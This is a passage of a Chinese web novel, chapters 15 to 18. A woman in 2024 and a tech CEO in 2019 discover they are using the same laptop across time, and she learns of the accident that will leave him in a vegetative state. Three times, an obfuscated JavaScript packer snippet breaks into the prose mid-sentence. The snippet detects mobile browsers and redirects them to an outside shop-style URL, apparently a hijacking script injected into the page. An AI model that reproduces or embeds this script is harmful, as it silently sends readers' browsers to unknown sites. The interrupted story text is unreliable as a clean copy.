不管对方信不信了，梁彦重新关闭相机界面，在文档上打字：“不早了，休息了。” 他原计划是到家继续用另外的电脑处理工作，结果不知不觉间在这件事情上浪费了不少时间。 下一行很快出现回复：“等一下！电脑的事情怎么办？我昨晚去了电子城，有位维修师傅说可能是这个电脑牌子的型号有问题，你的电脑是什么牌子和型号？我想确认是不是同款。” 15.15 自认没了闲工夫的梁彦回应：“其它事情明晚再说吧。” 电脑太旧了，牌子倒是记得，就是型号得确认一下。只是他现在不想继续谈论这个事情了，不然会耽误更多时间。 电脑的另一端，程安宁看了眼时间，这才发现凌晨了。 想到一大早还要上班，她眼皮一跳，随即把眼下的事情抛之脑后，匆匆敲下一句：“OK，明晚再说！” 虽然除了电脑之外，还有手机联系不上彼此，以及两人没能在约定好的地点顺利会合的谜题没解开，但是约定好了明晚再谈，确实没必要非在这个时候琢磨明白不可。 对方很快回了一个“嗯”，程安宁原本还想让他留别的联系方式方便联系，但转念一想，人家是大佬，肯定不愿意跟一个普通人牵扯太多，有电脑作为两人联系的媒介已经足够了，于是识趣地打消了这个念头。 不过碰见这么稀奇的事情，肯定架不住跟好姐妹提上一嘴。 翌日中午。 程安宁在公司解决了午餐，给叶思蕾发去消息问有没有空打电话。 在得到肯定后，她立刻打去电话。 叶思蕾接通来电，打趣：“怎么啦？想我啦？” “是啊。”程安宁轻笑，顿了顿，开门见山问：“叶子，你记得我跟你说过我那台笔记本电脑的事情吗？” 叶思蕾点头，回想起那天的事情：“记得，你说电脑莫名其妙能跟别人的互通使用什么的，然后你和对方约好时间带上电脑，结果人家放你鸽子，后来我和董毅陪你一起去了电子城。” 说到这，叶思蕾忙追问：“事情怎么样？你有没有把人臭骂一顿？你电脑的情况解决了吗？” 想到自己特地做了那个骂人内容的文档，程安宁忍不住笑：“骂是骂了，不过有些事情还没搞清楚。” 一想到对方被文档名称吸引，在好奇心的驱使下打开查看，结果入眼就是骂得很脏的内容，她就有点想笑。 而且对方还是一位知名的科技大佬。她怕是全网第一位对大佬贴面开大的人。 叶思蕾疑惑：“比如什么事情没搞清楚？” 程安宁简略地说了两人昨晚通过什么方式证明自己没说谎，然后把话题引到了重点上：“在这个过程中，我看到他长得很眼熟，好像在哪里见过一样。就在那个时候，我灵光一闪！” 叶思蕾正听得兴起，兴奋插话：“谁啊？是你认识的哪个熟人吗？” “你猜猜看是谁，你也是认识的。”程安宁语气神秘，顿了顿，又补充道：“不对，不能说是认识的，应该说是人尽皆知的一位大佬，是我们清城本地的。” 叶思蕾惊呼：“居然还是大佬级别的人物啊！不过很难猜啊，清城作为一线大城市，有那么多大人物，我这得猜到什么时候才能对上一个？啊！难不成是清城本地的第一首富？” 程安宁一噎，忍俊不禁：“那倒不是，你这也太敢猜了吧。” 叶思蕾也笑了：“既然是大佬，当然要往大了猜。你还是别卖关子了，快告诉我是谁！” “是未来科技的CEO梁彦。”程安宁揭秘，甚至在宣布时配上噔噔噔的欢快声作为前缀。 原以为会听到叶思蕾再一次惊呼，程安宁已经做好了跟她一起吱哇乱叫的准备，手机那端却突然安静下来。 以为是不小心挂断了，程安宁将手机从耳边拿开，看着手机屏幕还处于通话界面，疑惑嘀咕：“诶？是没信号了吗？” 话音刚落，叶思蕾的声音冷不防响起：“橙子，你是不是遇到诈骗了？” 程安宁一头雾水：“为什么这么说？” 叶思蕾不答反问：“那个人真的跟你说他是未来科技的梁彦吗？” 程安宁闻言轻嗯：“对啊，我看他很眼熟，就提了一嘴，问他有没有说过他长得很像未来科技的CEO，结果他说他就是本尊，还给我看了他的工作证。” 话落，手机那端的叶思蕾又没了动静。 程安宁心里疑惑加深，忍不住猴急：“到底怎么啦？” 叶思蕾叹了口气，语气严肃：“橙子，我可以百分之一百告诉你，那个人是骗子！你一定要提防他！他不可能是未来科技的那位大佬。” 程安宁刚想问她是怎么确定人家是骗子的，就听叶思蕾紧跟着丢出一句：“因为真正的梁彦早在四年前发生严重的意外变成植物人了，貌似至今还在床上躺着。” 闻言，程安宁面露惊愕，“不会吧？！” “真的，当初的新闻还能够搜到呢，我这就发给你，你去看看。”叶思蕾边说边给搜到的新闻内容截图。 刚才她听程安宁提到那位大佬，还以为自己记错了，特地上网搜索求证，结果证明她没记错，未来科技的那位大佬梁彦真的在四年前出了严重车祸，一只脚已经踏进鬼门关了，并且在这之后没有其它新消息。 如果人家已经醒来，肯定少不了大肆报道，毕竟当初的车祸事件引起那么大的轰动。 程安宁很快收到叶思蕾发来的截图内容和链接。 依次点开查看，果然真的如叶思蕾所说，未来科技公司的大佬梁彦早在四年前发生严重车祸成了植物人，配图还有一张车祸现场的配图，可以看到整辆车被撞得惨不忍睹。 从那篇报道的热度上看，不难看出当年这位年轻有为的大佬出事引起很大的轰动和议论，只是那一年的她生活迎来巨变，陷在巨大的悲痛中，很长一段时间没有其它心思留意外界的一切事物，以至于不清楚这件事情。 叶思蕾又叮嘱道：“现在诈骗技术和手段越来越高明了，我猜那个人要不就是长得像，要不就是用了ai换脸技术什么的，后期肯定用那种‘我是秦始皇，打钱’之类的套路从你那儿要钱，你一定要小心。” 程安宁神色秒变严肃，会意应下：“好，我知道了。” 还好她对在网上碰上大佬除了震惊之外，没有太大的感觉。毕竟大家没有利益交集，她不可能平白无故从人家那里得到什么好处，这点她是有自知之明的，只是想着碰上真大佬了可以当做新鲜事跟小姐妹分享，结果没想到是个伪装他人身份的骗子。 想想也是，大佬级别的人怎么会答应跟她碰面一块儿去修电脑。 现在她都开始怀疑那台笔记本电脑出现那么奇怪的问题，会不会就是那个骗子在故意搞鬼做局。 …… 当天晚上，程安宁忙完坐在电脑前等待对方出现，电脑桌面展开一个全新的文档界面，上面是她故意表现出的友好问候：“晚上好，你有空了吗？” 桌上多了一个外置摄像头，是她下班路上去那家中过奖的数码店淘来的。 原本想着搞一个清晰的摄像头，这样对方打开相机界面，她可以看得更清楚，但是反应过来一想，不对啊，她买这个外置摄像头，只是把自己这边拍得清晰，跟对方一点关系也没有。 奈何人家老板热情推销，而她也已经走出店里，不好意思拿回去退了，只能认命带回家。 现在困扰她的是两个选择，是要直接戳穿骗子，还是继续假装相信对方，然后趁机录下证据。 可惜昨晚没有说明具体时间，这会儿已经晚上九点了，她还是没等到对方的回应。 闲着无聊，程安宁不想干等了，暂时把文档界面缩到任务栏，转而打开桌面上其中一个文件夹。 是昨晚对方提前录制的所谓的证据。 她打算反复翻看视频，看看里边有没有出现连对方都不曾察觉的漏洞。 就这样机械且反复翻看那段简短的视频，程安宁的注意力没一下子就跑到那只修长的手上，差点忘了正事。 她定了定神，再次播放视频，把注意力集中到视频里的手机屏幕上。 重复放了数次，程安宁按下暂停键，眯起眼睛仔细盯着静止的视频画面。 在那段只有三秒的视频里，她留意到对方在点开通话记录之前，手机屏幕是停留在主界面的，上面除了一些软件图标之外，在屏幕的正中间显示着日期。 恰恰是上面显示的日期，她刚才一晃眼突然发现有不对劲的地方。 明明昨天的日期是2024年8月18日，对方的手机却显示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559024|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2019年8月18日。 此刻，程安宁把略显模糊的暂停界面拍下来，用手机放大图像。 在确定自己没有看错后，程安宁得意勾唇，总算是捉到对方漏出的马脚。 连日期都是错的，那么对方提供的通话记录就不用说了。 她昨晚怎么就没有发现这个盲点呢！真是男色误人！ 关闭视频界面，程安宁眸光微动，心里有了一番思量。 她决定先假装相信对方是位大佬，然后再出其不意地戳穿他。当然了，这过程手机录像什么的更不能少。 敲定主意，程安宁一直等到昏昏欲睡，笔记本电脑总算有了动静。 文档上原先停留在她今晚最先敲下的那句问候，这会儿在这句话的下一行冒出了一个“嗯”字。 程安宁正刷着手机视频，每隔五分钟都会看一眼电脑屏幕。这一次，在看到对方的回应后，她随即放下手机，打起精神来。 为了让对方在不经意间再次漏出马脚，第一步就是用友好热情的态度营造出真诚的感觉，说不定对方一时疏忽露出更多破绽，于是，程安宁抬手打字：“你终于出现啦，我一直在等你！” 电脑的另一端，深夜加完班的梁彦看着文档上的内容，神色微怔。 想到昨晚随口跟对方说的明晚再说，对方竟然真的一直在等他出现，心里冒出一丝内疚。 他这会儿打开电脑，只是想起昨晚忘了把文件转移到U盘，想着趁现在有空整理文件，没想到一打开就看到电脑挂着文档的界面，上面还有对方的留言。 梁彦极快地确认了一下电脑的型号，在文档上输入电脑的牌子和型号。 与此同时，程安宁看到对方发来的消息，神色诧异。 对方提供的信息，居然跟她这台笔记本电脑的牌子和型号一样。 不对，现在不是琢磨对方提供的信息是真是假，她还有更重要的事情要做。 程安宁在文档上开门见山问：“你可以再打开一下相机吗？我有事情想跟你确认一下。” 看到这个请求，梁彦神色疑惑，但是想到对方今晚等了那么久，还是配合着打开相机界面。 相机界面里，那张清隽俊俏的脸庞再次出现。 男人身上穿着普通的白衬衫，但衬上那张脸，却穿出一种服装模特的宣传照的感觉。 程安宁见状，心里忍不住感叹。 不得不说，如果是ai换脸技术，确实到以假乱真的地步了。如果对方只是长得像，那也挺牛的，总不可能是跟那位大佬有亲缘关系的人顶着这张脸招摇撞骗吧？ 文档上随之冒出对方的询问：“要确认什么？” 程安宁打开手机的录像功能，在电脑上敲字询问：“你的手机主屏幕让我看一下可以吗？” 很快，相机界面里的那张脸被一部手机挡住，对方把整个手机放到摄像头前，让她得以看清楚屏幕。 看来是个好说话的骗子。 程安宁随即拿着手机凑近电脑屏幕上的相机界面，果然看到对方手机屏幕上的日期是2019年8月19日。 除了年份对不上，月份日子以及时间倒是正确的。 程安宁继续打字：“再让我看一下你打给我的通话记录。” 梁彦照做，翻出通话记录在镜头前亮相，同时打字发出询问：“你在确认什么？” 程安宁顺利录下刚才的画面，不再装礼貌，直白回复：“在确认你是个骗子。” 顿了顿，她又敲下一句：“等着吃牢饭吧你！” 梁彦：“？” 电脑另一端，梁彦看着对方突然变了态度，一脸莫名，不由得看了眼自己的手机。 对方看了眼他的手机屏幕和通话记录就认定他是骗子，这是什么说法？昨晚不是相互做出证明了吗？ 证据收集完毕，程安宁收起手机，在电脑上输出：“你手机上的日期是2019年，你提供的通话记录自然不可能是真的，你真当我是傻子吗？” 梁彦不懂她的脑回路，反问：“这日期有什么不对么？” 16.16 程安宁嘴角抽了抽，转身找来数据线，把刚才录制到手机屏幕的画面截图，圈出上面的日期，然后传输到笔记本电脑上。 她点开那张截图跟文档界面放在一起，接着在文档上阴阳怪气：“你再装傻试试看呢？现在是2024年8月19日，晚上十一点二十分。你是活在过去吗请问？” 电脑的那一端，梁彦太阳穴突突直跳，怀疑自己碰上傻子了。 现在怎么可能是2024年？ 而且真要说骗子的话，他这边有一个关于对方明显的疑点没有提出来，结果对方先声夺人，反咬他一口。 绕来绕去，结果还是回到一开始互相指责对方是骗子这一个话题。 梁彦没有搭理这番子虚乌有的指责，转而戳穿她：“你前天并没有到北阳路18号写字楼面试，对么？” 程安宁气笑，当即反驳：“好笑了，真是张口就来！我现在工作的地点就在北阳路18号写字楼，你敢不敢找个时间在线下跟我当面对质？” 她以为自己有时候嘴很硬了，没想到这会儿遇到一个比她嘴更硬的。 梁彦据理力争：“你以为我没有去确认过你说的话是否属实么？我就在北阳路18号写字楼工作。” 程安宁眸光一亮，又找到了他一处破绽：“你不是说你是未来科技的CEO梁彦吗？你怎么会在北阳路的写字楼工作，怎么不在未来科技大厦呢？” 梁彦反驳：“未来科技公司的地点在北阳路18号写字楼。” 看着电脑上的相机界面，对方面不改色地应对她的质问，程安宁都要忍不住说一声“高手”了。 都被她拆穿到这种地步了，一般骗子知道没戏，直接破防骂人然后灰溜溜滚蛋了，这个人居然还在强词夺理。 真就嘴挺硬的，怪不得是个骗子。 想法刚落，相机界面的画面有了变动，对方拿着一张卡片贴近摄像头前。 是一张未来科技公司的名片，上面的名字印着“梁彦”二字，底下的地址正是北阳路18号写字楼。 程安宁微微挑眉。 准备得挺充足的，连这种道具名片都有。 只是，他难道不知道现在网络发达，什么都能搜到吗？ 想到对方反正能够看到她操作电脑，程安宁把文档缩到任务栏，直接打开浏览器，在搜索框那里输入“未来科技公司的地址”。 电脑的另一端，梁彦看着她正进行的操作，不难猜出她是想验证他的话是对是错。 很快，网页弹出数条关于未来科技公司地址的搜索结果。 下一刻，看到首条搜索结果，梁彦神色一怔。 搜索结果显示，未来科技公司位于清岚大道第600号的未来科技大厦，上面还用括号标注原骏鹏大厦，并非他所说的北阳路18号写字楼。 这怎么可能？！ 虽然他和贺明是决定把公司搬到清岚大道那边，但是公司目前还在北阳路18号，甚至还在走程序拍卖骏鹏大厦的程度，未正式对外公布和搬迁，网上怎么可能那么快更新了未来科技公司的地址？ 与此同时，程安宁看到相机界面里那张错愕的俊脸，眼里闪过一丝疑惑，点开文档问：“看到了吧？还想狡辩什么吗骗子？” 梁彦皱眉，沉默着往下滑动电脑上的网页，很快，他发现了另外一些奇怪的地方。 在其它有关未来科技公司消息的搜索词条底下，日期却分别是2020年、2021年……一直到2024年。 分明是2019年，网上却有关于公司未来几年的消息。为什么会这样？ 想起电脑另一端那个人刚才在文档上质问他的内容，梁彦脑海里蓦然冒出一个荒唐的猜测。 他定了定神，把文档缩回底部的任务栏，然后关闭搜索结果的网页。 做完这些，梁彦重新在自己的电脑桌面打开浏览器，在搜索栏输入未来科技公司的地址。 程安宁看到电脑网页被关闭后再次打开，并且搜索栏内再次出现同样的问题，不是很懂对方这是什么操作。 但很快，在看到搜索结果，她神色错愕，有一瞬以为自己看错了。 网页上的搜索结果显示，未来科技公司的地址是北阳路18号写字楼。 程安宁一脸匪夷所思。 为什么双方用自己的电脑搜索同个问题，出来的结果却不一样？ 正感疑惑，原本缩到任务栏的文档界面再次回到电脑桌面。 文档上出现对方的打字内容：“你刚才说你那里是2024年8月19日对么？” 程安宁回复：“是的。有什么问题吗？” 下一行随之出现对方的回应：“可我这里现在是2019年8月19日。” 程安宁嘴角抽了抽，敲字斥责：“这个玩笑不好笑。你骗我说你是未来科技的大佬梁彦，我忍了。你说未来科技在北阳路18号写字楼，我也忍了，但你现在跟我说你那边是2019年，你是嫌自己前面编的谎还不够离谱吗？” 对方示意：“你先看一眼电脑上的网页，上面的日期只有截止在2019年8月份的最新消息，没有之后的日期。而我们公司在搬到清岚大道之前，确实在北阳路18号。” 打完这段话，对方还贴心地把文档界面缩回任务栏，刚才搜索显示的网页界面重新落入视线。 程安宁一脸狐疑，仔细浏览网页的其它词条日期。 果然，对方那边的搜索结果界面，最新日期只有2019年8月份，其余的都是之前的。 怎么会这样？程安宁半信半疑，这次没再看电脑，转而拿起手机搜索“未来科技公司以前的地址”。 页面很快跳转，她也看到了手机上的搜索结果。 未来科技公司的前地址，还真的是在北阳路18号写字楼。 程安宁呼吸一颤。 如果真像对方说的他在2019年，那么他说出的地址确实没错。 至于他说他是梁彦…… 叶思蕾今天在电话里跟她说，那位名叫梁彦的大佬是在四年前出的车祸成了植物人，那么他现在还能活蹦乱跳，并且坐在电脑前跟她掰扯，也说得通！ 还有这段时间里，那些对不上号的事情突然就解释得通了。 比如电脑出现莫名其妙的问题、两人约好在电子城碰面却没看到对方，再比如手机拨出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578546|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要么无法接通，要么是别人接的。以及面试和公司地址方面的问题。 啊！还有，那天晚上电子城有一位维修师傅跟她说过，几年前有个小伙子拿过相同牌子和型号的电脑去过他们店里。 现在她怀疑那个小伙子就是梁彦，毕竟他也到过电子城。 眼下发生的事情实在过于科幻，程安宁有一瞬认为自己在做梦，忍不住掐了自己一把，顿时痛得龇牙咧嘴。 她深呼吸一口气，重新点开文档界面问：“你的意思是，我们不在同一个时空吗？” 梁彦其实不是很确定：“目前来看，如果你没有说谎的话，应该是的。” 看到他的回应，程安宁不屑轻哼。 她当然没说谎了，该担心对方说谎的人是她好吗？ “你真的是未来科技的那位梁彦吗？”程安宁还是忍不住再次进行求证。 刚打出这句话，相机界面里的男人突然起身，走出摄像头区域。 程安宁面露疑惑，但很快，那道挺拔的身影再次出现，把手中的东西递到摄像头前。 紧接着，文档上出现一句话：“我没有必要骗你，这是我的身份证。” 程安宁定眼一看，果真看到他大方秀到镜头前的身份证。 好吧，好像是真的。 目光无意间扫过电脑右下角的日期，程安宁眸光倏地一顿。 她的电脑日期显示的是2019年8月19日，正是对方那边所说的日期。 回想这些天电脑总会莫名其妙出现日期错乱的情况，需要手动调整才行，后来她都懒得管了，觉得反正电脑能用就行，而她和对方的电脑互连，似乎就发生在电脑日期错乱的时候。 会不会就是因为这样，导致她使用电脑的同时，对方也能够看到她电脑的使用情况。 想到这，程安宁决定验证一下自己的设想，于是打字告知：“我打算做个小试验，你配合我一下，先别离开电脑前，记得留意文档上的留言。” 对方倒也爽快回复：“好的。” 得到回答，程安宁点开电脑右下角的日期，手动调整为2024年8月19日的正确日期。 刚按下“确定”图标，眼前的电脑屏幕极快地闪烁了一下，接着又恢复如常。 只是，原本在电脑屏幕上的相机界面不知何时已经消失，只剩下文档的界面。 她再次往上面打字：“你现在看得到我在打字吗？” 没有得到回应。 等了两分钟也依旧如此。 看样子她的设想是对的。 程安宁又把电脑的日期改回刚才的2019年8月19日，在文档上问：“现在能看到吗？” 就在她以为日期改回来了，这次一定能收到对方的回复时，文档上的内容依旧没有得到任何回应。 程安宁愣了愣，有点慌了，继续打字：“？你没在跟我开玩笑吧？” 依旧没有动静。 程安宁倒吸一口凉气，脸色煞白。 难道时间手动改回自己这边正确的时间段之后，再重新改回过去的时间段是无效的？ 完了，她貌似一不小心切断跟对方的联系了！ 17.17 电脑另一端，梁彦盯着文档上自己最后的回复，神色疑惑。 对方说要做个小试验，是要他配合什么？为什么他还没有看到任何指示？ 刚才他只留意到对方打开了右下角的日期设置，接着电脑闪了一下，然后就一直没有其它动静了。 等了半个小时，耐心渐失，梁彦的注意力从电脑上移开，往后靠在椅背上，思绪回到今晚看到的除了未来科技公司地址之外的其它搜索词条。 从对方那边打开的网页界面上看，虽然他没有逐条点开看清楚词条里的所有内容，但是透过未点开前的前半段文字，不难看出五年后的未来科技公司发展得很好，甚至有种成为知名科技公司的感觉。 挺好的，五年后的未来科技并没有因为激烈残酷的行业竞争，而就此消失在大众视野被人淡忘。至于他，肯定还为未来科技卖力。 虽然目前在他身上发生了如此戏剧和科幻的事情，但是对他来说，关于将来，只要知道这些内容就已经足够了，其余的他不感兴趣。 思绪回笼，梁彦揉了揉眉心，缓缓坐直身子，决定关电脑休息。 视线回到电脑屏幕上，他发现文档上不知何时冒出了新的留言：“你在吗？能看到我打字的内容吗？” 而此刻，守在电脑前的程安宁眼睛也不敢眨，直到文档上总算冒出一个简短的回复“嗯”，她这才长舒一口气。 刚才她手忙脚乱慌了一会儿，整台笔记本电脑都要被她研究个遍了，就差直接拆开了。最后她想到每次电脑开机日期都是错乱的，即便是自行改回正确日期，但在关机后重新开机，日期也依旧变回2019年。 于是，她抱着试一试，以及死马当作活马医的心态，将电脑关机后再重新开机。 这一次，电脑开机后，突然就自动冒出了文档和相机的界面，上面还有两人今晚谈论的内容。她几乎是激动到手抖，赶紧打字问对方能不能看到，结果通过相机界面看到对方靠在椅子上，视线一直没往屏幕上看，把她急得都在电脑前自言自语了。 虚惊一场后，程安宁抬手回复：“谢天谢地！你总算看到了，我还以为再也联系不上你了！” 梁彦见状好奇：“刚才做了什么试验？” 程安宁给他概括刚才发生的事情：“我发现这段时间我电脑日期一直是2019年，我在想会不会就是这个原因导致我们能够联系上的，所以我试着把日期改回2024年了，结果真的没办法跟你联系了。还好我重启了电脑，现在日期又自动变回到2019年8月19日了，我又能跟你交流了。” 看着文档上显示的内容，梁彦神色若有所思。 原来是这样。看来是对方电脑连接了他这边的时空，只要对方更正电脑的时间，两人的电脑就能正常使用了。 梁彦回复：“既然找到问题了，我们以后就可以避免互相打扰了。” 接着，他顺势关闭相机界面，打出结束语：“不早了，休息了。” 这是要结束交流的意思了，而且看对方的反应，貌似对两人身处不同时空一事没有多大兴趣的样子。程安宁眼皮一跳，连忙挽留：“等等！我还有一件事情要确认一下！” 她想确认对方所在的时空，是否真的连接她这个时空的过去，而她这里又是否是对方的未来。如果是的话，她有比自己性命还重要的事情想跟对方合作！ 梁彦沉住气，问：“什么事情？” 程安宁发出心里的猜测：“我在想，我现在用的这台二手电脑，会不会就是你的。” 两人所用的笔记本电脑牌子和型号相同，她的电脑又偏偏连接上的是梁彦这位大佬的电脑而不是别人的，她不觉得只是巧合。 很快，对方在这句话的下面给出回复：“不可能。” 啧，这么确定吗？程安宁的指尖来回抚平电脑上脱胶翘起的商标贴纸边缘，神色若有所思，提议：“我们再做个小试验来验证一下怎么样？” 梁彦不觉得对方正在用的是自己眼前这台笔记本电脑。因为这台电脑对他来说有特别的意义，即便它逐渐被市场淘汰，他也会自己收起来，不可能让这台电脑在二手市场上流通。 为了让对方知道自己的猜测是错的，梁彦耐住性子示意：“你说。” 程安宁把商标贴纸撕开大半，看了看带着胶痕的空白背面，又重新粘回去，随后打字发出请求：“我仔细观察过我这台笔记本电脑，它的触控板右侧的位置有一张蓝色的商标贴纸，你能不能稍微把它稍微撕开，然后用黑色笔在它的背面写一个梁字。可以吗？” 她不知道这台电脑是什么时候被卖到二手市场的，不过这台电脑的商标贴纸还在，虽然看着有点褪色和脱胶了。 如果让对方在商标贴纸背面做个记号的话，只要商标贴纸在，那么对方做的记号肯定也在。这样她就能验证两人是不是同一台电脑，以及双方的时空是否能够互相影响。 这个办法对于此刻两个在电脑前的人来说，既简单又能够快速得出结论。 电脑的另一端，梁彦看完她的提议，垂眼看到那块商标贴纸，爽快回复：“可以，我试试，好了告诉你。” 桌上正好放着一个笔筒，他找出一支黑色圆珠笔，接着开始按照她提议那样做。 程安宁等得心焦，忍不住去看那张刚才重新粘回去的商标贴纸。 她早就丧失拥有“希望”的感觉了。今晚在得知对方身处五年前的时空，她内心那种久违的，令人亢奋的心情仿佛被激活了，在无声却疯狂地躁动。 终于，文档上出现对方的提醒：“好了。” 可以再次揭开那张商标贴纸了。 紧张情绪不自觉往外冒，程安宁深呼吸一口气。 她很担心猜测和验证都是错误的。就像一个原本接受自己陷在无边黑暗的人，在某天突然看到一抹白色光亮，她以为是出口，重燃希望兴冲冲跑过去，结果发现只是老天为了戏耍她而涂抹上的一块白色颜料。 克制住起伏的情绪，程安宁撕开了商标贴纸。 带有胶痕的贴纸背面，出现了一个遒劲有力的“梁”字。 程安宁红了眼眶。 真的出现了！ 陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597167|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入无边黑暗的那个人，发现的不是白色颜料，而是真正的带有光亮的出口。 程安宁随即拿起手机拍下商标的背面，转头把淘来的外置摄像头和电脑连接。 做完这些，她的手落在电脑的触控板上，点开了相机界面。 梁彦刚把桌上的东西收起来，目光回到电脑屏幕上，就看到相机界面里一张白皙明艳的脸蛋，眸光不由得顿住。 相比起昨天模糊的画质，对面摄像头的画质清晰不少，他甚至能够看到对方眼里闪烁的泪光。 此刻，那张脸蛋的主人正朝电脑另一端的他激动挥手示意，脸上笑意盈盈。 旁边的文档上随之冒出新的留言：“快看我的手机！” 梁彦见状，视线又重新回到相机界面里的那抹身影，目光不自觉被那双水润明亮的杏眸吸引。 分明嘴角带着掩不住的笑意，他却从那双泛红的眼睛，感受到了无形且汹涌的悲戚。 很快，相机界面里，对方拿起手机凑近摄像头，给他展示上面的照片。 看清手机里的照片，梁彦瞳孔一缩，神色错愕。 他刚才写的字，竟然出现在对方电脑的商标贴纸上。 也就是说，两人相隔不同的时空，用的却是同一台电脑！ 短暂的错愕后，梁彦拧眉陷入沉默。 为什么五年后他的电脑会在二手市场上？他不可能把这台电脑卖掉的。难道是未来的某一天，他的电脑被偷了以至于被卖到二手市场？ 疑惑间，文档上再次出现新的内容：“我的猜测是对的，我这里是你那个时空的未来，你那里是我这边时空的过去。” 回过神，梁彦无奈回复：“现在看来是的。” 顿了顿，他补上一句：“不早了，休息了。” 程安宁见状，像抛诱饵似的，又迅速开启挽留模式：“梁总，你想不想知道你的未来是什么样的？” 看到相机界面里那抹倩影认真地盯着屏幕等他回复，梁彦顿住准备关机的动作，拿出鲜有的耐心，实话实说：“我对未来没有多大的兴趣，反正和现在一样都是活着的。” 程安宁面露诧异。 看不出这位商界大佬居然是一位对未来没有任何期待的人，这种状态就跟近些年的她一样。 只是，这位大佬肯定不知道五年后的自己变成植物人了。 程安宁不禁在心里同情这位对未来一无所知的大佬，在文档上委婉表达：“是活着没错，但是看上去……” 她一时想不出要怎么形容，说“快死了”，太直白了，而且“死”字不好听。 想到这阵子和叶思蕾聊天总是用“鼠”字代替“死”这个字，两人天天说笑鼠了、累鼠了、气鼠了、饿鼠了之类的，这样的形容在网上怪流行的。 程安宁灵机一动，在那句话后面补充道：“又有点鼠了。” 是活着没错，但是看上去又有点鼠了。 也就是传说中的活人微死。 梁彦：“？” 顿了顿，虚心请教：“我不太明白你的意思，有点鼠了是……？” 18.18 见他没能领悟这话外之意，程安宁纠结一瞬。 迟早要告诉对方真相的，也为了接下来的正事，她索性不卖关子了：“简单来说就是五年后的你确实是活着的，只是遭遇了严重的事故，成了植物人。” 打完这句话，为了证实自己说的话是真的，她又拿起手机翻出叶思蕾白天给她发的新闻截图放到外置的镜头前。 电脑的另一端，梁彦看到这句话，又看到对方亮出的新闻截图，瞬间受到不小的冲击。 一时间，原本没想通的事情也在此刻有了答案。 原来是这样。是因为他出车祸成为植物人后，他的个人物品没有得到妥善的安置，导致他的这台笔记本电脑在二手市场上流通吗？ 程安宁放下手机，继续在电脑上打字：“不过按照你那边的时间推算，距离你遭遇事故还有一年左右的时间，你现在有机会改变自己的未来，我可以协助你避开一年后的那场事故。你肯定不想再也见不到你的家人朋友，更不想这么年轻就在病床上过完一生吧？” 看着文档上接连不断跳出的字，梁彦缄默。 他明白天底下没有白吃的午餐，见对方主动提及要帮忙，自然也会有所求。 只是，隔着两个时空，信任方面是一个大问题，对方是否能说到做到，谁又说得准呢？ 不甘吗？当然是有的，只是回顾这二十四年人生，他似乎就没有遇到过好事，今后会迎来这样的命运也合理。 或许他就不该挣扎。 负面情绪像一张铺天盖地的密网，无声笼罩全身，停顿在键盘上的双手不自觉收紧握成拳头，但片刻后又像是认命那般迟缓松开。 梁彦在文档上做出回应：“人倒霉惯了就没必要挣扎了，就这样顺其自然吧。” 程安宁面露惊愕，难以置信地反复看他的回复，怀疑自己是不是看错了。 不是，这个人怎么不按常理出牌呢？ 一般人在知道自己以后会变成植物人，肯定会想办法改变未来的命运，结果这个人居然说要认命？？ 这哪是认命啊，这看着倒像是活够了的样子！ 五年前的未来科技貌似还没完全迎来它的鼎盛时期，名声和财富的积累都还不至于让这位年轻大佬觉得死而无憾的地步吧？ 大佬不都是惜命的吗？怎么她遇到的这位大佬这么无欲无求？还是说这个噩耗太突然了，导致人家自暴自弃了？ 生怕无法进行自己的计划，程安宁一秒找回状态，赶紧切换彩虹屁模式：“你怎么会倒霉呢？你分明是天底下最幸运的人！你看你能在发生意外之前突然通过电脑认识了来自五年后的我，说明老天都看不下去了，想要你通过这个机会扭转自己的命运，然后继续发挥你的才能，在自己擅长的领域里发光发热、造福人类！” 能够一口气打出这一段吹捧的话，程安宁都要佩服自己了。 以为这就完了吗？不，没有。 程安宁从情感方面入手：“冒昧问一句，你结婚了吗？” 底下很快冒出两个字：“没有。” 这么年轻没结婚倒是在意料之内，程安宁继续打字：“没结婚但肯定有女朋友了吧？你舍得让你的女朋友和家人朋友整天以泪洗面吗？未来你在他们心里留下的痛是没办法抚平的，唯有你平平安安、健健康康的，她们才能安心和快乐。” 感情牌打出来了，程安宁觉得差不多了。 下一刻，底下冒出一句话：“我也没有女朋友。” 程安宁噎了一瞬。 年轻帅气的大佬不是根本不缺对象的吗？ 程安宁发出疑问：“那你应该有喜欢的人吧？” “没有。”又是果断且迅速的回复。 好吧，算他厉害！这意味着人家少了一份牵挂。 